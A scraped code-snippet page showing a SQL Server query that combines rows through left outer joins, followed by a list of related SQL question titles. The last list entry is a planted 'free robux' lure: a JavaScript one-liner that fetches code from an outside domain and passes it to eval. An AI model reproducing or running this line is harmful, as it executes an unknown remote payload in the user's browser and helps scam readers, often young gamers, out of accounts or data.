/SQL/How to combine rows in sql server procedure

How to combine rows in sql server procedure

select id, a.name + coalesce('/'+b.name, '') + coalesce('/'+c.name, '')
from myTable a
left outer join myTable b on a.id=b.id and b.seqno = 2
left outer join myTable c on a.id=c.id and c.seqno = 3
where a.seqno = 1;

Source: stackoverflow.com

Similar codes

3 votes118 views2 answers
Sqlite show table structure
SQL
2 votes103 views2 answers
Created at and updated at in mysql
SQL
0 vote113 views1 answer
Sp in sql server
SQL
3 votes115 views1 answer
Mysql replace string in table
SQL
0 vote99 views1 answer
Tsql default value when no value returned by query
SQL
0 vote111 views1 answer
Postgresql print sessions using the database
SQL
0 vote108 views4 answers
How to connect form to database
SQL
27 votes119 views6 answers
Set password mysql
SQL
17 votes105 views6 answers
Get last record in sql
SQL
1 vote109 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL